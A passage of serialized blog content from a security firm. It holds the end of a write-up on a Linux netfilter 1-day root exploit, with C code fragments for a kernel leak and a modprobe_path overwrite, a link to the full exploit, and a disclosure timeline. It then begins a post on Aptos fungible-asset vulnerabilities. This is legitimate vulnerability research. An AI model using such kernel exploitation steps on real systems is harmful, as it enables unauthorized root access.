"value":58177},"sock",{"type":23,"tag":481,"props":58179,"children":58180},{"style":525},[58181],{"type":28,"value":58182},"[i][",{"type":23,"tag":481,"props":58184,"children":58185},{"style":551},[58186],{"type":28,"value":1558},{"type":23,"tag":481,"props":58188,"children":58189},{"style":525},[58190],{"type":28,"value":58191},"], leak, ",{"type":23,"tag":481,"props":58193,"children":58194},{"style":551},[58195],{"type":28,"value":55675},{"type":23,"tag":481,"props":58197,"children":58198},{"style":514},[58199],{"type":28,"value":48781},{"type":23,"tag":481,"props":58201,"children":58202},{"style":551},[58203],{"type":28,"value":58204}," 320",{"type":23,"tag":481,"props":58206,"children":58207},{"style":525},[58208],{"type":28,"value":598},{"type":23,"tag":481,"props":58210,"children":58211},{"style":514},[58212],{"type":28,"value":3282},{"type":23,"tag":481,"props":58214,"children":58215},{"style":551},[58216],{"type":28,"value":554},{"type":23,"tag":481,"props":58218,"children":58219},{"style":525},[58220],{"type":28,"value":675},{"type":23,"tag":481,"props":58222,"children":58223},{"class":483,"line":21285},[58224],{"type":23,"tag":481,"props":58225,"children":58226},{"style":525},[58227],{"type":28,"value":29210},{"type":23,"tag":481,"props":58229,"children":58230},{"class":483,"line":21293},[58231,58236,58240,58245],{"type":23,"tag":481,"props":58232,"children":58233},{"style":610},[58234],{"type":28,"value":58235}," perror",{"type":23,"tag":481,"props":58237,"children":58238},{"style":525},[58239],{"type":28,"value":618},{"type":23,"tag":481,"props":58241,"children":58242},{"style":1805},[58243],{"type":28,"value":58244},"\"[-] read(socket)\"",{"type":23,"tag":481,"props":58246,"children":58247},{"style":525},[58248],{"type":28,"value":1366},{"type":23,"tag":481,"props":58250,"children":58251},{"class":483,"line":21330},[58252,58257,58261,58265],{"type":23,"tag":481,"props":58253,"children":58254},{"style":535},[58255],{"type":28,"value":58256}," return",{"type":23,"tag":481,"props":58258,"children":58259},{"style":514},[58260],{"type":28,"value":48781},{"type":23,"tag":481,"props":58262,"children":58263},{"style":551},[58264],{"type":28,"value":1558},{"type":23,"tag":481,"props":58266,"children":58267},{"style":525},[58268],{"type":28,"value":528},{"type":23,"tag":481,"props":58270,"children":58271},{"class":483,"line":21343},[58272],{"type":23,"tag":481,"props":58273,"children":58274},{"style":525},[58275],{"type":28,"value":56412},{"type":23,"tag":481,"props":58277,"children":58278},{"class":483,"line":21356},[58279],{"type":23,"tag":481,"props":58280,"children":58281},{"style":525},[58282],{"type":28,"value":870},{"type":23,"tag":481,"props":58284,"children":58285},{"class":483,"line":21369},[58286],{"type":23,"tag":481,"props":58287,"children":58288},{"style":525},[58289],{"type":28,"value":879},{"type":23,"tag":481,"props":58291,"children":58292},{"class":483,"line":21423},[58293,58297,58301,58306],{"type":23,"tag":481,"props":58294,"children":58295},{"style":610},[58296],{"type":28,"value":53033},{"type":23,"tag":481,"props":58298,"children":58299},{"style":525},[58300],{"type":28,"value":618},{"type":23,"tag":481,"props":58302,"children":58303},{"style":1805},[58304],{"type":28,"value":58305},"\"[-] fake modprobe failed\"",{"type":23,"tag":481,"props":58307,"children":58308},{"style":525},[58309],{"type":28,"value":1366},{"type":23,"tag":481,"props":58311,"children":58312},{"class":483,"line":21432},[58313],{"type":23,"tag":481,"props":58314,"children":58315},{"style":525},[58316],{"type":28,"value":7803},{"type":23,"tag":24,"props":58318,"children":58319},{},[58320,58322,58329],{"type":28,"value":58321},"This trick has already been throughly detailed by ",{"type":23,"tag":190,"props":58323,"children":58326},{"href":58324,"rel":58325},"https://pwning.tech/nftables/#28-overwriting-modprobepath",[194],[58327],{"type":28,"value":58328},"lau",{"type":28,"value":58330},", so we won't go much more into it.",{"type":23,"tag":7092,"props":58332,"children":58334},{"id":58333},"universal-exploit-demo",[58335],{"type":28,"value":58336},"Universal exploit demo",{"type":23,"tag":24,"props":58338,"children":58339},{},[58340,58342,58348],{"type":28,"value":58341},"{%youtube tjbp4Mtfo8w %}\nYou can find the complete universal exploit in our ",{"type":23,"tag":190,"props":58343,"children":58346},{"href":58344,"rel":58345},"https://github.com/otter-sec/OtterRoot/blob/master/universal/exploit.c",[194],[58347],{"type":28,"value":54942},{"type":28,"value":199},{"type":23,"tag":31,"props":58350,"children":58352},{"id":58351},"disclosure-timeline",[58353],{"type":28,"value":58354},"Disclosure Timeline",{"type":23,"tag":14178,"props":58356,"children":58357},{},[58358,58363,58368,58373,58378],{"type":23,"tag":77,"props":58359,"children":58360},{},[58361],{"type":28,"value":58362},"March 21st -- Patch made public",{"type":23,"tag":77,"props":58364,"children":58365},{},[58366],{"type":28,"value":58367},"March 23rd -- Scrolled through commits and found the bug fix.",{"type":23,"tag":77,"props":58369,"children":58370},{},[58371],{"type":28,"value":58372},"March 24th -- Wrote KernelCTF exploit",{"type":23,"tag":77,"props":58374,"children":58375},{},[58376],{"type":28,"value":58377},"March 26th -- Wrote Universal exploit",{"type":23,"tag":77,"props":58379,"children":58380},{},[58381],{"type":28,"value":58382},"May 23rd -- Patch landed on Ubuntu and Debian",{"type":23,"tag":24,"props":58384,"children":58385},{},[58386],{"type":28,"value":58387},"Note that the universal exploit was alive for roughly 2 months against popular distros.",{"type":23,"tag":31,"props":58389,"children":58390},{"id":26445},[58391],{"type":28,"value":16443},{"type":23,"tag":24,"props":58393,"children":58394},{},[58395],{"type":28,"value":58396},"In this post, I have discussed how a bug fixed by a commit freshly made public can be used to exploit the latest stable releases of the kernel and maintain 0day-like primitives for an extended period. I've also discussed two different paths to exploit the vulnerability: one that I used to exploit the KernelCTF instance and retrieve the flag and a second one that I used to craft a universal exploit binary that works stably in all tested targets without needing to be adapted or even recompiled.",{"type":23,"tag":24,"props":58398,"children":58399},{},[58400],{"type":28,"value":58401},"What we have observed is not novel; despite the efforts and progress made by the Linux community to improve kernel security, it's been made evident that the supply of exploitable bugs is still virtually unlimited and that the open-source patch gap is long enough to maintain capabilities that are live.",{"type":23,"tag":2918,"props":58403,"children":58404},{},[58405],{"type":28,"value":2922},{"title":7,"searchDepth":351,"depth":351,"links":58407},[58408,58411,58414,58417,58418,58428,58436,58437],{"id":48093,"depth":351,"text":48096,"children":58409},[58410],{"id":48114,"depth":531,"text":48117},{"id":48157,"depth":351,"text":48157,"children":58412},[58413],{"id":48204,"depth":531,"text":48207},{"id":48262,"depth":351,"text":48265,"children":58415},[58416],{"id":49425,"depth":531,"text":49428},{"id":51300,"depth":351,"text":51303},{"id":51702,"depth":351,"text":51705,"children":58419},[58420,58421,58422,58424,58425,58426,58427],{"id":51729,"depth":531,"text":51732},{"id":52611,"depth":531,"text":52614},{"id":53197,"depth":531,"text":58423},"Leaking self pointer of nft_object",{"id":53595,"depth":531,"text":53598},{"id":54109,"depth":531,"text":54112},{"id":54239,"depth":531,"text":53896},{"id":54923,"depth":531,"text":54926},{"id":54946,"depth":351,"text":54949,"children":58429},[58430,58431,58432,58433,58435],{"id":54957,"depth":531,"text":54960},{"id":55815,"depth":531,"text":55818},{"id":55891,"depth":531,"text":55894},{"id":57516,"depth":531,"text":58434},"Overwriting modprobe_path",{"id":58333,"depth":531,"text":58336},{"id":58351,"depth":351,"text":58354},{"id":26445,"depth":351,"text":16443},"content:blog:2024-11-25-netfilter-universal-root-1-day.md","blog/2024-11-25-netfilter-universal-root-1-day.md","blog/2024-11-25-netfilter-universal-root-1-day",{"_path":58442,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":58443,"description":58444,"image":58445,"date":58447,"isFeatured":15,"onBlogPage":15,"tags":58448,"body":58449,"_type":358,"_id":65167,"_source":360,"_file":65168,"_stem":65169,"_extension":363},"/blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets","Hitchhiker's Guide to Aptos Fungible Assets","We take a deep dive into Aptos’ implementation of fungible assets, exploring the intricacies hidden within its functions, objects, and interactions. While the Fungible Asset model was designed to address the limitations and security flaws of the legacy Coin standard, it also introduced new challenges and vulnerabilities that developers should be aware of.",{"src":58446,"width":12,"height":13},"/posts/aptos-guide/title.png","2025-02-10",[3356],{"type":20,"children":58450,"toc":65151},[58451,58464,58469,58478,58484,58512,58585,58625,58659,58820,58839,58920,58960,58988,59005,59010,59018,59023,59029,59050,59130,59163,59171,59184,59189,59573,59578,59583,59589,59594,59606,59710,59748,59751,59769,60077,60082,60094,60100,60126,60147,60152,60331,60351,60357,60377,60389,60394,60400,60412,60475,60502,60526,60747,60750,60769,60879,60936,61072,61099,61105,61131,61375,61403,61705,61738,61752,61778,61811,62118,62130,62407,62421,62738,62757,62763,62795,62835,62936,62956,63076,63093,63167,63179,63267,63288,63294,63299,63304,63321,63342,63713,63772,63777,64228,64233,64269,64275,64287,64309,64335,64542,64556,64811,64823,64850,65001,65020,65050,65054,65065,65070,65083,65147],{"type":23,"tag":24,"props":58452,"children":58453},{},[58454,58456,58462],{"type":28,"value":58455},"Aptos’ fungible asset model is a complex component of its ecosystem, designed to address the limitations of its predecessor — the ",{"type":23,"tag":64,"props":58457,"children":58459},{"className":58458},[],[58460],{"type":28,"value":58461},"coin",{"type":28,"value":58463}," standard. While the new model aims to enhance functionality and security, it also comes with its own set of challenges.",{"type":23,"tag":24,"props":58465,"children":58466},{},[58467],{"type":28,"value":58468},"In this blog post, we'll closely examine Aptos's coin and fungible asset models, exploring their history and connection. We will examine key aspects of the fungible asset framework, including real-world examples of vulnerabilities that were identified and addressed, with the goal of improving security and reliability — all to help you build more secure and reliable applications.",{"type":23,"tag":58470,"props":58471,"children":58472},"important",{},[58473],{"type":23,"tag":24,"props":58474,"children":58475},{},[58476],{"type":28,"value":58477},"All issues mentioned were identified and addressed during Aptos' rigorous pre-release audits, demonstrating the project's dedication to delivering a robust and secure environment from day one.",{"type":23,"tag":31,"props":58479,"children":58481},{"id":58480},"aptos-coin-standard",[58482],{"type":28,"value":58483},"Aptos Coin standard",{"type":23,"tag":24,"props":58485,"children":58486},{},[58487,58489,58495,58497,58502,58503,58510],{"type":28,"value":58488},"In the beginning, Aptos used ",{"type":23,"tag":64,"props":58490,"children":58492},{"className":58491},[],[58493],{"type":28,"value":58494},"Coin",{"type":28,"value":58496},". It is still in use, although it is now considered \"legacy\". ",{"type":23,"tag":64,"props":58498,"children":58500},{"className":58499},[],[58501],{"type":28,"value":58494},{"type":28,"value":140},{"type":23,"tag":190,"props":58504,"children":58507},{"href":58505,"rel":58506},"https://github.com/aptos-labs/aptos-core/blob/1381c93fd5a656f16fb326d4ffe371947554a330/aptos-move/framework/aptos-framework/sources/coin.move#L119-L123",[194],[58508],{"type":28,"value":58509},"defined",{"type":28,"value":58511}," in Aptos as follows:",{"type":23,"tag":435,"props":58513,"children":58515},{"className":475,"code":58514,"language":474,"meta":7,"style":7},"struct Coin\u003Cphantom CoinType> has store {\n value: u64,\n}\n",[58516],{"type":23,"tag":64,"props":58517,"children":58518},{"__ignoreMap":7},[58519,58558,58578],{"type":23,"tag":481,"props":58520,"children":58521},{"class":483,"line":484},[58522,58526,58530,58534,58538,58542,58546,58550,58554],{"type":23,"tag":481,"props":58523,"children":58524},{"style":497},[58525],{"type":28,"value":6884},{"type":23,"tag":481,"props":58527,"children":58528},{"style":943},[58529],{"type":28,"value":3277},{"type":23,"tag":481,"props":58531,"children":58532},{"style":525},[58533],{"type":28,"value":3282},{"type":23,"tag":481,"props":58535,"children":58536},{"style":508},[58537],{"type":28,"value":3287},{"type":23,"tag":481,"props":58539,"children":58540},{"style":943},[58541],{"type":28,"value":3292},{"type":23,"tag":481,"props":58543,"children":58544},{"style":525},[58545],{"type":28,"value":3297},{"type":23,"tag":481,"props":58547,"children":58548},{"style":508},[58549],{"type":28,"value":3302},{"type":23,"tag":481,"props":58551,"children":58552},{"style":508},[58553],{"type":28,"value":3307},{"type":23,"tag":481,"props":58555,"children":58556},{"style":525},[58557],{"type":28,"value":809},{"type":23,"tag":481,"props":58559,"children":58560},{"class":483,"line":351},[58561,58566,58570,58574],{"type":23,"tag":481,"props":58562,"children":58563},{"style":508},[58564],{"type":28,"value":58565}," value",{"type":23,"tag":481,"props":58567,"children":58568},{"style":514},[58569],{"type":28,"value":287},{"type":23,"tag":481,"props":58571,"children":58572},{"style":943},[58573],{"type":28,"value":3336},{"type":23,"tag":481,"props":58575,"children":58576},{"style":525},[58577],{"type":28,"value":1033},{"type":23,"tag":481,"props":58579,"children":58580},{"class":483,"line":531},[58581],{"type":23,"tag":481,"props":58582,"children":58583},{"style":525},[58584],{"type":28,"value":1443},{"type":23,"tag":24,"props":58586,"children":58587},{},[58588,58590,58595,58597,58603,58604,58610,58612,58617,58619,58624],{"type":28,"value":58589},"Aptos distinguishes coins by their type (",{"type":23,"tag":64,"props":58591,"children":58593},{"className":58592},[],[58594],{"type":28,"value":4061},{"type":28,"value":58596},") at compile time. For example, ",{"type":23,"tag":64,"props":58598,"children":58600},{"className":58599},[],[58601],{"type":28,"value":58602},"Coin\u003COtter>",{"type":28,"value":8478},{"type":23,"tag":64,"props":58605,"children":58607},{"className":58606},[],[58608],{"type":28,"value":58609},"Coin\u003CWeasel>",{"type":28,"value":58611}," represent different coins, and you cannot pass a ",{"type":23,"tag":64,"props":58613,"children":58615},{"className":58614},[],[58616],{"type":28,"value":58609},{"type":28,"value":58618}," to a function expecting ",{"type":23,"tag":64,"props":58620,"children":58622},{"className":58621},[],[58623],{"type":28,"value":58602},{"type":28,"value":199},{"type":23,"tag":24,"props":58626,"children":58627},{},[58628,58630,58635,58637,58642,58644,58649,58651,58657],{"type":28,"value":58629},"The type signature reveals why ",{"type":23,"tag":64,"props":58631,"children":58633},{"className":58632},[],[58634],{"type":28,"value":58494},{"type":28,"value":58636}," has become a legacy standard. ",{"type":23,"tag":64,"props":58638,"children":58640},{"className":58639},[],[58641],{"type":28,"value":58494},{"type":28,"value":58643}," has only the ",{"type":23,"tag":64,"props":58645,"children":58647},{"className":58646},[],[58648],{"type":28,"value":3417},{"type":28,"value":58650}," ability and uses a ",{"type":23,"tag":64,"props":58652,"children":58654},{"className":58653},[],[58655],{"type":28,"value":58656},"CoinStore",{"type":28,"value":58658}," wrapper to store the coin and metadata:",{"type":23,"tag":435,"props":58660,"children":58662},{"className":475,"code":58661,"language":474,"meta":7,"style":7},"struct CoinStore\u003Cphantom CoinType> has key {\n coin: Coin\u003CCoinType>,\n frozen: bool,\n deposit_events: EventHandle\u003CDepositEvent>,\n withdraw_events: EventHandle\u003CWithdrawEvent>,\n}\n",[58663],{"type":23,"tag":64,"props":58664,"children":58665},{"__ignoreMap":7},[58666,58706,58734,58754,58784,58813],{"type":23,"tag":481,"props":58667,"children":58668},{"class":483,"line":484},[58669,58673,58678,58682,58686,58690,58694,58698,58702],{"type":23,"tag":481,"props":58670,"children":58671},{"style":497},[58672],{"type":28,"value":6884},{"type":23,"tag":481,"props":58674,"children":58675},{"style":943},[58676],{"type":28,"value":58677}," CoinStore",{"type":23,"tag":481,"props":58679,"children":58680},{"style":525},[58681],{"type":28,"value":3282},{"type":23,"tag":481,"props":58683,"children":58684},{"style":508},[58685],{"type":28,"value":3287},{"type":23,"tag":481,"props":58687,"children":58688},{"style":943},[58689],{"type":28,"value":3292},{"type":23,"tag":481,"props":58691,"children":58692},{"style":525},[58693],{"type":28,"value":3297},{"type":23,"tag":481,"props":58695,"children":58696},{"style":508},[58697],{"type":28,"value":3302},{"type":23,"tag":481,"props":58699,"children":58700},{"style":508},[58701],{"type":28,"value":3408},{"type":23,"tag":481,"props":58703,"children":58704},{"style":525},[58705],{"type":28,"value":809},{"type":23,"tag":481,"props":58707,"children":58708},{"class":483,"line":351},[58709,58714,58718,58722,58726,58730],{"type":23,"tag":481,"props":58710,"children":58711},{"style":508},[58712],{"type":28,"value":58713}," coin",{"type":23,"tag":481,"props":58715,"children":58716},{"style":514},[58717],{"type":28,"value":287},{"type":23,"tag":481,"props":58719,"children":58720},{"style":943},[58721],{"type":28,"value":3277},{"type":23,"tag":481,"props":58723,"children":58724},{"style":525},[58725],{"type":28,"value":3282},{"type":23,"tag":481,"props":58727,"children":58728},{"style":943},[58729],{"type":28,"value":4061},{"type":23,"tag":481,"props":58731,"children":58732},{"style":525},[58733],{"type":28,"value":3615},{"type":23,"tag":481,"props":58735,"children":58736},{"class":483,"line":531},[58737,58742,58746,58750],{"type":23,"tag":481,"props":58738,"children":58739},{"style":508},[58740],{"type":28,"value":58741}," frozen",{"type":23,"tag":481,"props":58743,"children":58744},{"style":514},[58745],{"type":28,"value":287},{"type":23,"tag":481,"props":58747,"children":58748},{"style":943},[58749],{"type":28,"value":9537},{"type":23,"tag":481,"props":58751,"children":58752},{"style":525},[58753],{"type":28,"value":1033},{"type":23,"tag":481,"props":58755,"children":58756},{"class":483,"line":567},[58757,58762,58766,58771,58775,58780],{"type":23,"tag":481,"props":58758,"children":58759},{"style":508},[58760],{"type":28,"value":58761}," deposit_events",{"type":23,"tag":481,"props":58763,"children":58764},{"style":514},[58765],{"type":28,"value":287},{"type":23,"tag":481,"props":58767,"children":58768},{"style":943},[58769],{"type":28,"value":58770}," EventHandle",{"type":23,"tag":481,"props":58772,"children":58773},{"style":525},[58774],{"type":28,"value":3282},{"type":23,"tag":481,"props":58776,"children":58777},{"style":943},[58778],{"type":28,"value":58779},"DepositEvent",{"type":23,"tag":481,"props":58781,"children":58782},{"style":525},[58783],{"type":28,"value":3615},{"type":23,"tag":481,"props":58785,"children":58786},{"class":483,"line":678},[58787,58792,58796,58800,58804,58809],{"type":23,"tag":481,"props":58788,"children":58789},{"style":508},[58790],{"type":28,"value":58791}," withdraw_events",{"type":23,"tag":481,"props":58793,"children":58794},{"style":514},[58795],{"type":28,"value":287},{"type":23,"tag":481,"props":58797,"children":58798},{"style":943},[58799],{"type":28,"value":58770},{"type":23,"tag":481,"props":58801,"children":58802},{"style":525},[58803],{"type":28,"value":3282},{"type":23,"tag":481,"props":58805,"children":58806},{"style":943},[58807],{"type":28,"value":58808},"WithdrawEvent",{"type":23,"tag":481,"props":58810,"children":58811},{"style":525},[58812],{"type":28,"value":3615},{"type":23,"tag":481,"props":58814,"children":58815},{"class":483,"line":784},[58816],{"type":23,"tag":481,"props":58817,"children":58818},{"style":525},[58819],{"type":28,"value":1443},{"type":23,"tag":24,"props":58821,"children":58822},{},[58823,58825,58830,58832,58837],{"type":28,"value":58824},"However, an astute reader would note that this isn't the only place a ",{"type":23,"tag":64,"props":58826,"children":58828},{"className":58827},[],[58829],{"type":28,"value":58494},{"type":28,"value":58831}," can be stored. You can create your own ",{"type":23,"tag":64,"props":58833,"children":58835},{"className":58834},[],[58836],{"type":28,"value":58494},{"type":28,"value":58838}," wallet, which could look like this:",{"type":23,"tag":435,"props":58840,"children":58842},{"className":475,"code":58841,"language":474,"meta":7,"style":7},"struct DefinitelyLegitCoinStore\u003Cphantom CoinType> has key {\n coin: Coin\u003CCoinType>\n}\n",[58843],{"type":23,"tag":64,"props":58844,"children":58845},{"__ignoreMap":7},[58846,58886,58913],{"type":23,"tag":481,"props":58847,"children":58848},{"class":483,"line":484},[58849,58853,58858,58862,58866,58870,58874,58878,58882],{"type":23,"tag":481,"props":58850,"children":58851},{"style":497},[58852],{"type":28,"value":6884},{"type":23,"tag":481,"props":58854,"children":58855},{"style":943},[58856],{"type":28,"value":58857}," DefinitelyLegitCoinStore",{"type":23,"tag":481,"props":58859,"children":58860},{"style":525},[58861],{"type":28,"value":3282},{"type":23,"tag":481,"props":58863,"children":58864},{"style":508},[58865],{"type":28,"value":3287},{"type":23,"tag":481,"props":58867,"children":58868},{"style":943},[58869],{"type":28,"value":3292},{"type":23,"tag":481,"props":58871,"children":58872},{"style":525},[58873],{"type":28,"value":3297},{"type":23,"tag":481,"props":58875,"children":58876},{"style":508},[58877],{"type":28,"value":3302},{"type":23,"tag":481,"props":58879,"children":58880},{"style":508},[58881],{"type":28,"value":3408},{"type":23,"tag":481,"props":58883,"children":58884},{"style":525},[58885],{"type":28,"value":809},{"type":23,"tag":481,"props":58887,"children":58888},{"class":483,"line":351},[58889,58893,58897,58901,58905,58909],{"type":23,"tag":481,"props":58890,"children":58891},{"style":508},[58892],{"type":28,"value":58713},{"type":23,"tag":481,"props":58894,"children":58895},{"style":514},[58896],{"type":28,"value":287},{"type":23,"tag":481,"props":58898,"children":58899},{"style":943},[58900],{"type":28,"value":3277},{"type":23,"tag":481,"props":58902,"children":58903},{"style":525},[58904],{"type":28,"value":3282},{"type":23,"tag":481,"props":58906,"children":58907},{"style":943},[58908],{"type":28,"value":4061},{"type":23,"tag":481,"props":58910,"children":58911},{"style":525},[58912],{"type":28,"value":3469},{"type":23,"tag":481,"props":58914,"children":58915},{"class":483,"line":531},[58916],{"type":23,"tag":481,"props":58917,"children":58918},{"style":525},[58919],{"type":28,"value":1443},{"type":23,"tag":24,"props":58921,"children":58922},{},[58923,58928,58930,58936,58938,58943,58945,58951,58953,58958],{"type":23,"tag":64,"props":58924,"children":58926},{"className":58925},[],[58927],{"type":28,"value":58656},{"type":28,"value":58929}," includes a ",{"type":23,"tag":64,"props":58931,"children":58933},{"className":58932},[],[58934],{"type":28,"value":58935},"frozen",{"type":28,"value":58937}," field, allowing the issuer to block transfers to and from the store. ",{"type":23,"tag":64,"props":58939,"children":58941},{"className":58940},[],[58942],{"type":28,"value":58656},{"type":28,"value":58944}," is also required for a ",{"type":23,"tag":64,"props":58946,"children":58948},{"className":58947},[],[58949],{"type":28,"value":58950},"burn_from",{"type":28,"value":58952}," operation, which withdraws the ",{"type":23,"tag":64,"props":58954,"children":58956},{"className":58955},[],[58957],{"type":28,"value":58461},{"type":28,"value":58959}," from the store and destroys it. Freezing and burning operations are essential i.e. for stablecoin issuers, using them as compliance tools to prevent unauthorized or illegal transactions and adhere to legal orders. Being able to bypass these restrictions with a custom wallet is an issue and can lead to severe consequences.",{"type":23,"tag":24,"props":58961,"children":58962},{},[58963,58965,58970,58972,58979,58981,58986],{"type":28,"value":58964},"Storing ",{"type":23,"tag":64,"props":58966,"children":58968},{"className":58967},[],[58969],{"type":28,"value":58461},{"type":28,"value":58971}," in a custom wallet is also a problem in terms of off-chain observability, as finding the stored coins in such setup is a difficult task. This is how the fungible asset ",{"type":23,"tag":190,"props":58973,"children":58976},{"href":58974,"rel":58975},"https://github.com/aptos-foundation/AIPs/blob/ac3da48db226cf2dbaf4df6f1f5109a4f1b2e604/aips/aip-21.md",[194],[58977],{"type":28,"value":58978},"AIP-21",{"type":28,"value":58980}," summarizes the ",{"type":23,"tag":64,"props":58982,"children":58984},{"className":58983},[],[58985],{"type":28,"value":58461},{"type":28,"value":58987}," problems:",{"type":23,"tag":426,"props":58989,"children":58990},{},[58991,59000],{"type":23,"tag":24,"props":58992,"children":58993},{},[58994,58998],{"type":23,"tag":481,"props":58995,"children":58996},{},[58997],{"type":28,"value":7074},{"type":28,"value":58999}," coin module has been deemed insufficient for current and future needs due to the rigidity of Move structs and the inherently poor extensibility.",{"type":23,"tag":24,"props":59001,"children":59002},{},[59003],{"type":28,"value":59004},"The existing Coin struct leverages the store ability allowing for assets on-chain to become untraceable. Creating challenges to off-chain observability and on-chain management, such as freezing or burning.",{"type":23,"tag":24,"props":59006,"children":59007},{},[59008],{"type":28,"value":59009},"And declares, that:",{"type":23,"tag":426,"props":59011,"children":59012},{},[59013],{"type":23,"tag":24,"props":59014,"children":59015},{},[59016],{"type":28,"value":59017},"Fungible assets addresses these issues.",{"type":23,"tag":24,"props":59019,"children":59020},{},[59021],{"type":28,"value":59022},"Let's find out whether this is indeed the case.",{"type":23,"tag":31,"props":59024,"children":59026},{"id":59025},"the-fungible-assets",[59027],{"type":28,"value":59028},"The fungible assets",{"type":23,"tag":24,"props":59030,"children":59031},{},[59032,59034,59040,59042,59049],{"type":28,"value":59033},"Aptos designed fungible assets as a new token standard to solve these problems. A ",{"type":23,"tag":64,"props":59035,"children":59037},{"className":59036},[],[59038],{"type":28,"value":59039},"FungibleAsset",{"type":28,"value":59041}," uses the ",{"type":23,"tag":190,"props":59043,"children":59046},{"href":59044,"rel":59045},"https://medium.com/@borispovod/move-hot-potato-pattern-bbc48a48d93c",[194],[59047],{"type":28,"value":59048},"hot-potato pattern",{"type":28,"value":287},{"type":23,"tag":435,"props":59051,"children":59053},{"className":475,"code":59052,"language":474,"meta":7,"style":7},"struct FungibleAsset {\n metadata: Object\u003CMetadata>,\n amount: u64,\n}\n",[59054],{"type":23,"tag":64,"props":59055,"children":59056},{"__ignoreMap":7},[59057,59073,59103,59123],{"type":23,"tag":481,"props":59058,"children":59059},{"class":483,"line":484},[59060,59064,59069],{"type":23,"tag":481,"props":59061,"children":59062},{"style":497},[59063],{"type":28,"value":6884},{"type":23,"tag":481,"props":59065,"children":59066},{"style":943},[59067],{"type":28,"value":59068}," FungibleAsset",{"type":23,"tag":481,"props":59070,"children":59071},{"style":525},[59072],{"type":28,"value":809},{"type":23,"tag":481,"props":59074,"children":59075},{"class":483,"line":351},[59076,59081,59085,59090,59094,59099],{"type":23,"tag":481,"props":59077,"children":59078},{"style":508},[59079],{"type":28,"value":59080}," metadata",{"type":23,"tag":481,"props":59082,"children":59083},{"style":514},[59084],{"type":28,"value":287},{"type":23,"tag":481,"props":59086,"children":59087},{"style":943},[59088],{"type":28,"value":59089}," Object",{"type":23,"tag":481,"props":59091,"children":59092},{"style":525},[59093],{"type":28,"value":3282},{"type":23,"tag":481,"props":59095,"children":59096},{"style":943},[59097],{"type":28,"value":59098},"Metadata",{"type":23,"tag":481,"props":59100,"children":59101},{"style":525},[59102],{"type":28,"value":3615},{"type":23,"tag":481,"props":59104,"children":59105},{"class":483,"line":531},[59106,59111,59115,59119],{"type":23,"tag":481,"props":59107,"children":59108},{"style":508},[59109],{"type":28,"value":59110}," amount",{"type":23,"tag":481,"props":59112,"children":59113},{"style":514},[59114],{"type":28,"value":287},{"type":23,"tag":481,"props":59116,"children":59117},{"style":943},[59118],{"type":28,"value":3336},{"type":23,"tag":481,"props":59120,"children":59121},{"style":525},[59122],{"type":28,"value":1033},{"type":23,"tag":481,"props":59124,"children":59125},{"class":483,"line":567},[59126],{"type":23,"tag":481,"props":59127,"children":59128},{"style":525},[59129],{"type":28,"value":1443},{"type":23,"tag":24,"props":59131,"children":59132},{},[59133,59135,59140,59141,59146,59148,59153,59155,59162],{"type":28,"value":59134},"Unlike ",{"type":23,"tag":64,"props":59136,"children":59138},{"className":59137},[],[59139],{"type":28,"value":58494},{"type":28,"value":588},{"type":23,"tag":64,"props":59142,"children":59144},{"className":59143},[],[59145],{"type":28,"value":59039},{"type":28,"value":59147}," types are defined at runtime through the ",{"type":23,"tag":64,"props":59149,"children":59151},{"className":59150},[],[59152],{"type":28,"value":59098},{"type":28,"value":59154}," field. This change was meant to ",{"type":23,"tag":190,"props":59156,"children":59159},{"href":59157,"rel":59158},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-21.md#specification",[194],[59160],{"type":28,"value":59161},"enhance extensibility",{"type":28,"value":287},{"type":23,"tag":426,"props":59164,"children":59165},{},[59166],{"type":23,"tag":24,"props":59167,"children":59168},{},[59169],{"type":28,"value":59170},"An object can have other resources attached to provide additional context. For example, the metadata could define a gem of a given type, color, quality, and rarity, where ownership indicates the quantity or total weight owned of that type of gem.",{"type":23,"tag":24,"props":59172,"children":59173},{},[59174,59176,59182],{"type":28,"value":59175},"An important implication is that functions accepting ",{"type":23,"tag":64,"props":59177,"children":59179},{"className":59178},[],[59180],{"type":28,"value":59181},"FungibleAssets",{"type":28,"value":59183}," must verify the metadata to ensure valid assets.",{"type":23,"tag":24,"props":59185,"children":59186},{},[59187],{"type":28,"value":59188},"Let's consider a possible implementation of a protocol that takes in assets.",{"type":23,"tag":435,"props":59190,"children":59192},{"className":475,"code":59191,"language":474,"meta":7,"style":7},"public fun deposit\u003CT: key>(\n sender: &signer, fa: FungibleAsset\n) acquires [...] {\n assert_not_paused();\n \n let fa_amount = fungible_asset::amount(&fa);\n let sender_address = address_of(sender);\n check_compliance(fa_amount, sender_address);\n \n increase_deposit(get_vault(sender_address), fa_amount);\n \n primary_fungible_store::deposit(global_vault_address(), fa);\n \n event::emit(Deposit {sender_address, fa_amount})\n}\n",[59193],{"type":23,"tag":64,"props":59194,"children":59195},{"__ignoreMap":7},[59196,59233,59271,59295,59307,59315,59360,59394,59424,59431,59468,59475,59513,59520,59566],{"type":23,"tag":481,"props":59197,"children":59198},{"class":483,"line":484},[59199,59204,59208,59213,59217,59221,59225,59229],{"type":23,"tag":481,"props":59200,"children":59201},{"style":508},[59202],{"type":28,"value":59203},"public",{"type":23,"tag":481,"props":59205,"children":59206},{"style":508},[59207],{"type":28,"value":3684},{"type":23,"tag":481,"props":59209,"children":59210},{"style":508},[59211],{"type":28,"value":59212}," deposit",{"type":23,"tag":481,"props":59214,"children":59215},{"style":525},[59216],{"type":28,"value":3282},{"type":23,"tag":481,"props":59218,"children":59219},{"style":943},[59220],{"type":28,"value":3464},{"type":23,"tag":481,"props":59222,"children":59223},{"style":514},[59224],{"type":28,"value":287},{"type":23,"tag":481,"props":59226,"children":59227},{"style":508},[59228],{"type":28,"value":3408},{"type":23,"tag":481,"props":59230,"children":59231},{"style":525},[59232],{"type":28,"value":4066},{"type":23,"tag":481,"props":59234,"children":59235},{"class":483,"line":351},[59236,59241,59245,59249,59253,59257,59262,59266],{"type":23,"tag":481,"props":59237,"children":59238},{"style":508},[59239],{"type":28,"value":59240}," 